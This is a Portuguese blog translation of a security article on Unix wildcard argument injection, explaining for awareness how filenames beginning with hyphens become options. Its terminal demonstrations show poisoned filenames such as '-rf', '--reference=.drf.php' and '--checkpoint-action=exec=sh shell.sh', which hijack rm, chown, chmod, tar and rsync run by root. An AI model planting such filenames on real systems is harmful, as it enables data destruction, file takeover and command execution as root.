Blog do foo bar

Dois dedos de prosa e programação

Arquivo para a categoria “Linux”

De volta para o futuro: os curingas ficaram insanos

Nota: este texto é uma tradução autorizada do artigo Back To The Future: Unix Wildcards Gone Wild.

Autor: Leon Juranic <leon@defensecode.com>
Texto original: 20/04/2013
Publicação em inglês: 25/06/2014

Sumário

1. Introdução

2. Caracteres-curinga

3. A insanidade do curinga

4. Algo um pouco mais relevante…

4.1 Sequestro de arquivos via chown

4.2 Alteração de permissões de acesso (chmod)

4.3 Execução de comandos arbitrários com tar

4.4 Execução de comandos arbitrários com rsync

5. Conclusão

1. Introdução

Primeiramente, este artigo não diz respeito à técnicas modernas de hacking. Não, nada disso. Este artigo vai cobrir uma técnica da velha guarda Unix, e que ainda funciona em 2013. Uma técnica que, para minha surpresa, mesmo pessoas relacionadas à segurança de sistemas nunca ouviram falar. Imagino que isso se deva ao fato de esse assunto nunca ser discutido devidamente.

Decidi escrever sobre o assunto porque, pessoalmente, eu acho divertidos os truques que podem ser feitos com simples caracteres-curinga e algumas técnicas de “envenenamento” de comandos Unix. De forma que, depois de ler este artigo, você vai conhecer diversos truques para usar na linha de comando de sistemas *nix, e que me surpreendem ainda não serem mais explorados até hoje.

Quer descobrir o que ferramentas de linha de comando simples – como tar e chown – podem fazer para comprometer plenamente um sistema? Pergunte-me como!

Senhoras e senhores, ocupem seus lugares, apertem os cintos, segurem-se: estamos voltando ao passado, aos anos 80, ao hacking da linha de comando no Unix.

2. Caracteres-curinga

Se você já sabe o que são caracteres-curinga e como utilizá-los, tudo bem pular esta parte. Estou incluindo uma breve explicação a título de consistência do texto e para o eventual iniciante no assunto.

Caractere-curinga são símbolos que podem substituir um ou mais caracteres numa determinada expressão, e são interpretados pelo shell antes de qualquer outra ação.

Alguns exemplos:

*
Um asterisco representa zero ou mais caracteres do nome de um arquivo.
?
A interrogação representa um único caracter no nome de um arquivo.
[ ]
Colchetes indicam um intervalo de caracteres, dos quais qualquer um (e somente um) pode ocupar uma determinada posição no nome de um arquivo.
Hifen: é usado dentro dos colchetes para designar um intervalo de caracteres: a-z indica “de a até z”.
~
O til, no início de um termo, é expandido para o nome do diretório home do usuário atual. Se um outro nome de usuário for pós-fixado a este caracter, o diretório home do usuário mencionado é que será preenchido – ~daniel é a home do usuário daniel, mesmo que o nome do diretório seja completamente diferente.

Exemplos básicos:

ls *.php
Lista todos os arquivos php do diretório.
rm *.gz
Remove todos os arquivos gz do diretório (não recursivamente).
cat backup*
Exibe o conteúdo de todos os arquivos cujo nome comece com backup.
ls test?
Lista todos os arquivos cujo nome comece com test e que tenham algum caracter adicional na última posição (mas não lista arquivos cujo nome seja somente test).

3. A insanidade do curinga

Caracteres-curinga são “insanos” por natureza, mas em algumas situações eles se enfurecem e saem completamente do controle.

Enquanto eu começava a experimentar os truques que vou apresentar, conversei com diversos administradores Unix da velha-guarda e gente relacionada à segurança, a fim de descobrir quantos deles sabiam desses truques, e o perigo em potencial que eles representam. Para minha supresa, somente duas das vinte pessoas com quem conversei disseram saber que não é seguro o uso de curingas, em especial no comando rm, porque alguém mal intencionado poderia abusar de arquivos cujo nome se parece com argumentos de comandos – argument-like-filename. Uma das pessoas disse que soube desse risco há muito tempo, num curso básico de administração de sistemas. Curioso.

O truque (simples) por trás dessa técnica é o seguinte: ao usar curingas no shell, em especial o caracter asterisco (*), arquivos cujo nome comece com um hifen serão interpretados como strings e podem funcionar como argumentos para um determinado comando. Isso permite a execução de uma variação do clássico channeling attack.

O channeling pode surgir quando diferentes tipos de canais de informação são combinados num canal único. Um exemplo prático desse tipo de ataque é a combinação de nomes de arquivos e argumentos de um comando num “canal” único, pelo uso de caracteres-curinga.

Vamos ver um exemplo bem simples de injeção de argumentos usando curingas:

[root@defensecode public]# ls -al
total 20
drwxrwxr-x. 5 leon leon 4096 Oct 28 17:04 .
drwx------. 22 leon leon 4096 Oct 28 16:15 ..
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR1
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR2
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR3
-rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file1.txt
-rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file2.txt
-rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file3.txt
-rw-rw-r--. 1 nobody nobody 0 Oct 28 16:38 -rf

Um diretório contendo alguns subdiretórios e arquivos. Note que há um arquivo com o nome “-rf”, cujo dono é o usuário nobody. Vamos executar o comando rm * e verificar o conteúdo do diretório novamente.

[root@defensecode public]# rm *
[root@defensecode public]# ls -al
total 8
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:05 .
drwx------. 22 leon leon 4096 Oct 28 16:15 ..
-rw-rw-r--. 1 nobody nobody 0 Oct 28 16:38 -rf

O diretório está vazio, exceto pelo arquivo “-rf”. Todos os arquivos e diretórios foram recursivamente removidos, e é óbvio o que aconteceu… Quando executamos o comando rm com o arterisco como parâmetro, todos os arquivos do diretório foram passados como argumentos do comando, idêntico à linha abaixo:

[user@defensecode WILD]$ rm DIR1 DIR2 DIR3 file1.txt file2.txt file3.txt -rf

Dada a existência do arquivo “-rf” no diretório, quando o comando rm * foi estendido pelo shell, esse arquivo de nome curioso foi colocado na última posição, tornando-se um argumento do comando, e não uma especificação de nome de arquivo.

Podemos verificar o ocorrido com o comando strace:

[leon@defensecode WILD]$ strace rm *
execve("/bin/rm", ["rm", "DIR1", "DIR2", "DIR3", "file1.txt", "file2.txt",
"file3.txt", "-rf"], [/* 25 vars */]) = 0
^- AQUI

Agora sabemos como é possível injetar argumento arbitrariamente em comandos do shell. No próximo item irei discutir como é possível manipular esse recurso a fim de atingir objetivos muito mais sérios do que remover arquivos recursivamente.

4. Algo um pouco mais relevante…

De posse desse conhecimento sobre injeção de argumentos, vamos demonstrar alguns exemplos mais relevantes.

Quando eu me deparei pela primeira vez com esses truques, comecei a pesquisar os programas Unix que poderiam ser afetados seriamente por argumentos arbitrários e inesperados. No mundo real, os exemplos a seguir poderiam ser utilizados na forma de ataques diretos ao shell (envenenamento), ou criando entradas no cron, em scripts, em alguma aplicação web, etc.

Em todos os exemplos seguintes, o invasor está encoberto no usuário leon, e o alvo, claro, é o usuário root.

4.1 Sequestro de arquivos via chown

O primeiro candidato realmente interessante que analisei foi o comando chown. Vamos imaginar que um sistema qualquer possui um diretório público, com leitura e escrita permitidos, cheio de arquivos php. O usuário root quer mudar a posse de todos os arquivos para o usuário nobody.

Observe quem são os donos dos arquivos da lista a seguir:

[root@defensecode public]# ls -al
total 52
drwxrwxrwx. 2 user user 4096 Oct 28 17:47 .
drwx------. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--. 1 user user 66 Oct 28 17:36 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:35 ado.php
-rw-rw-r--. 1 user user 80 Oct 28 17:44 config.php
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:35 download.php
-rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php
-rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 user user 225 Oct 28 17:35 header.php
-rw-rw-r--. 1 user user 117 Oct 28 17:35 inc.php
-rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php
-rw-rw----. 1 user user 66 Oct 28 17:35 password.inc.php
-rw-rw-r--. 1 user user 94 Oct 28 17:35 script.php

A maioria dos arquivos é do usuário user. O usuário root vai executar chown para alterar a posse dos arquivos para o usuário nobody:

[root@defensecode public]# chown -R nobody:nobody *.php

O resultado:

[root@defensecode public]# ls -al
total 52
drwxrwxrwx. 2 user user 4096 Oct 28 17:47 .
drwx------. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--. 1 leon leon 66 Oct 28 17:36 admin.php
-rw-rw-r--. 1 leon leon 34 Oct 28 17:35 ado.php
-rw-rw-r--. 1 leon leon 80 Oct 28 17:44 config.php
-rw-rw-r--. 1 leon leon 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 leon leon 201 Oct 28 17:35 download.php
-rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php
-rw-rw-r--. 1 leon leon 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 leon leon 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 leon leon 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 leon leon 225 Oct 28 17:35 header.php
-rw-rw-r--. 1 leon leon 117 Oct 28 17:35 inc.php
-rw-rw-r--. 1 leon leon 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php
-rw-rw----. 1 leon leon 66 Oct 28 17:35 password.inc.php
-rw-rw-r--. 1 leon leon 94 Oct 28 17:35 script.php

Algo está errado… O que aconteceu? Com certeza um bêbado acessou a conta root. O superusuário tentou mudar a posse dos arquivos para nobody:nobody, mas de alguma forma todos os arquivos agora estão em posse do usuário leon.

Se observamos melhor, esse diretório continha, previamente, apenas dois arquivos do usuário leon:

-rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php
-rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php

O x da questão é o asterisco usado no comando chown, que usou o nome do arquivo –reference=.drf.php como string e o passou como argumento.

Vamos ver o que significa o argumento –reference (man chown):

--reference=RFILE
use RFILE's owner and group rather than specifying OWNER:GROUP values

A opção –reference para o comando chown sobrescreve o argumento nobody:nobody provido pelo usuário root, e o novo dono dos arquivos no diretório será o mesmo do arquivo .drf.php – o usuário leon.

Para concluir, a opção –reference pode ser explorada para mudar a posse de arquivos para algum usuário qualquer.

Com esse exemplo simples de “envenenamento” de argumentos de linha de comando, podemos enganar o usuário root de forma a obter a posse de arquivos, efetivamente sequestrando aqueles de interesse.

Um exemplo mais grave: o usuário leon poderia obter a posse do arquivo /etc/shadow usando essa técnica. 😦

4.2 Alteração de permissões de acesso (chmod)

Outro vetor de ataque interessante, similar ao descrito anteriormente, é o comando chmod.

O chmod também tem uma opção –reference, que pode ser explorada para conceder permissões arbitrárias aos arquivos selecionados com o curinga (*).

man chmod:
--reference=RFILE
use RFILE's mode instead of MODE values

Um exemplo:

[root@defensecode public]# ls -al
total 68
drwxrwxrwx. 2 user user 4096 Oct 29 00:41 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rw-rw-r--. 1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:47 ado.php
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:43 download.php
-rwxrwxrwx. 1 leon leon 0 Oct 29 00:40 .drf.php
-rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 user user 225 Oct 28 17:37 header.php
-rw-rw-r--. 1 user user 117 Oct 28 17:36 inc.php
-rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php
-rw-r--r--. 1 leon leon 0 Oct 29 00:41 --reference=.drf.php
-rw-rw-r--. 1 user user 94 Oct 28 17:38 script.php

O usuário root vai alterar para 000 o modo de leitura de todos os arquivos do diretório.

[root@defensecode public]# chmod 000 *

O resultado:

[root@defensecode public]# ls -al
total 68
drwxrwxrwx. 2 user user 4096 Oct 29 00:41 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rwxrwxrwx. 1 user user 20480 Oct 28 19:13 admin.php
-rwxrwxrwx. 1 user user 34 Oct 28 17:47 ado.php
-rwxrwxrwx. 1 user user 187 Oct 28 17:44 db.php
-rwxrwxrwx. 1 user user 201 Oct 28 17:43 download.php
-rwxrwxrwx. 1 leon leon 0 Oct 29 00:40 .drf.php
-rwxrwxrwx. 1 user user 43 Oct 28 17:35 file1.php
-rwxrwxrwx. 1 user user 56 Oct 28 17:47 footer.php
-rwxrwxrwx. 1 user user 357 Oct 28 17:36 global.php
-rwxrwxrwx. 1 user user 225 Oct 28 17:37 header.php
-rwxrwxrwx. 1 user user 117 Oct 28 17:36 inc.php
-rwxrwxrwx. 1 user user 111 Oct 28 17:38 index.php
-rw-r--r--. 1 leon leon 0 Oct 29 00:41 --reference=.drf.php
-rwxrwxrwx. 1 user user 94 Oct 28 17:38 script.php

Agora todos os arquivos têm permissão 777, causada pela opção –reference fornecida pelo (nome do) arquivo –reference=.drf.php. Além dessa alteração, é possivel usar a opção -R, para alterar as permissões de arquivo de todos os subdiretórios.

4.3 Execução de comandos arbitrários com tar

Até o momento, só apresentei ataques direcionados a permissões de arquivo. Vamos brincar com algo ainda mais divertido: execução de comandos arbitrários.

O comando tar é muito usado para criar e extrair arquivos “empacotados”. Uma forma muito utilizada é

[root@defensecode public]# tar cvvf archive.tar *

Qual poderia ser o problema com essa ferramenta? A questão é que o comando tar tem muitas opções possíveis, e entre elas, algumas bastante interessantes para injeção de parâmetros.

Vamos checar algumas, consultando as man pages:

--checkpoint[=NUMBER]
display progress messages every NUMBERth record (default 10)

–checkpoint-action=ACTION
execute ACTION on each checkpoint

A opção –checkpoint-action especifica um comando a ser executado quando um determinado ponto da extração for atingido.

O próximo exemplo:

[root@defensecode public]# ls -al
total 72
drwxrwxrwx. 2 user user 4096 Oct 28 19:34 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rw-rw-r--. 1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:47 ado.php
-rw-r--r--. 1 leon leon 0 Oct 28 19:19 --checkpoint=1
-rw-r--r--. 1 leon leon 0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:43 download.php
-rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 user user 225 Oct 28 17:37 header.php
-rw-rw-r--. 1 user user 117 Oct 28 17:36 inc.php
-rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 user user 94 Oct 28 17:38 script.php
-rwxr-xr-x. 1 leon leon 12 Oct 28 19:17 shell.sh

Agora nosso usuário root vai criar um arquivo tar com todos os arquivos do diretório atual:

[root@defensecode public]# tar cf archive.tar *

uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Cleck-cleck–BOOM! O que aconteceu? O comando /usr/bin/id foi executado! Acabamos de conseguir rodar qualquer coisa no sistema.

Outra vez o usuário leon criou alguns arquivos:

-rw-r--r--. 1 leon leon 0 Oct 28 19:19 --checkpoint=1
-rw-r--r--. 1 leon leon 0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh
-rwxr-xr-x. 1 leon leon 12 Oct 28 19:17 shell.sh

As opções –checkpoint=1 e –checkpoint-action=exec=sh shell.sh foram passadas para o comando tar, que então executa o arquivo shell.sh quando o checkpoint 1 é atingido. O conteúdo do arquivo (no exemplo) era

[root@defensecode public]# cat shell.sh
/usr/bin/id

Resumidamente, injetando argumentos no comando tar, podemos executar qualquer coisa com os privilégios do usuário que utilizá-lo. No caso acima, o usuário era o root.

4.4 Execução de comandos arbitrários com rsync

Ao verificar as man pages do comando rysnc, também encontramos opções para a execução de comandos arbitrários.

Do manual do rsync:
“Use o comando rsync assim como usaria o comando rcp. Você precisa especificar uma origem, um destino, um dos quais pode ser remoto.”
Tradução minha.

Uma opção interessante fornecida pelo manual:

-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine

Vamos explorar um exemplo retirado do manual do rsync, a seguir. O comando irá copiar todos os arquivos com extenção C num diretório local para o servidor remoto ‘foo’, no diretório /src.

O conteúdo do diretório:

[root@defensecode public]# ls -al
total 72
drwxrwxrwx. 2 user user 4096 Mar 28 04:47 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rwxr-xr-x. 1 user user 20480 Oct 28 19:13 admin.php
-rwxr-xr-x. 1 user user 34 Oct 28 17:47 ado.php
-rwxr-xr-x. 1 user user 187 Oct 28 17:44 db.php
-rwxr-xr-x. 1 user user 201 Oct 28 17:43 download.php
-rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x. 1 user user 43 Oct 28 17:35 file1.php
-rwxr-xr-x. 1 user user 56 Oct 28 17:47 footer.php
-rwxr-xr-x. 1 user user 357 Oct 28 17:36 global.php
-rwxr-xr-x. 1 user user 225 Oct 28 17:37 header.php
-rwxr-xr-x. 1 user user 117 Oct 28 17:36 inc.php
-rwxr-xr-x. 1 user user 111 Oct 28 17:38 index.php
-rwxr-xr-x. 1 user user 94 Oct 28 17:38 script.php
-rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c

O usuário root agora irá tentar compiar todos os arquivos com extensão C para o servidor remoto.

[root@defensecode public]# rsync -t *.c foo:src/

rsync: connection unexpectedly closed (0 bytes received so far) [sender]
rsync error: error in rsync protocol data stream (code 12) at io.c(601) [sender=3.0.8]

Vamos ver o que aconteceu…

[root@defensecode public]# ls -al
total 76
drwxrwxrwx. 2 user user 4096 Mar 28 04:49 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rwxr-xr-x. 1 user user 20480 Oct 28 19:13 admin.php
-rwxr-xr-x. 1 user user 34 Oct 28 17:47 ado.php
-rwxr-xr-x. 1 user user 187 Oct 28 17:44 db.php
-rwxr-xr-x. 1 user user 201 Oct 28 17:43 download.php
-rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x. 1 user user 43 Oct 28 17:35 file1.php
-rwxr-xr-x. 1 user user 56 Oct 28 17:47 footer.php
-rwxr-xr-x. 1 user user 357 Oct 28 17:36 global.php
-rwxr-xr-x. 1 user user 225 Oct 28 17:37 header.php
-rwxr-xr-x. 1 user user 117 Oct 28 17:36 inc.php
-rwxr-xr-x. 1 user user 111 Oct 28 17:38 index.php
-rwxr-xr-x. 1 user user 94 Oct 28 17:38 script.php
-rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c
-rw-r--r--. 1 root root 101 Mar 28 04:49 shell_output.txt

Há dois arquivos do usuário leon, como mostrado abaixo:

-rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c

Após a execução do comando rsync, o arquivo shell_output.txt foi criado no mesmo diretório, e seu dono é o usuário root.

-rw-r--r--. 1 root root 101 Mar 28 04:49 shell_output.txt

Ao checarmos seu conteúdo, encontramos o seguinte:

[root@defensecode public]# cat shell_output.txt
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

O truque funciona por conta do curinga *.c. O rsync recebe -e sh shell.c como argumento, e executa esse arquivo quando o comando é iniciado.

O conteúdo do arquivo shell.c:

[root@defensecode public]# cat shell.c
/usr/bin/id > shell_output.txt

5. Conclusão

As técnicas discutidas nesse artigo podem ser aplicadas ainda de outras formas em ferramentas Unix populares. Em ataques reais, tais comandos arbitrários podem estar escondidos entre arquivos comuns, e sua detecção por administradores de sistemas nem sempre é simples. Provavelmente há ainda outras ferramentas Unix suscetíveis a tais tipos de injeção usando caracteres curinga.

Meus agradecimentos a Hrvoje Spoljar e à Sec-Consult, por algumas ideias relativas a este documento.

Navegação de Posts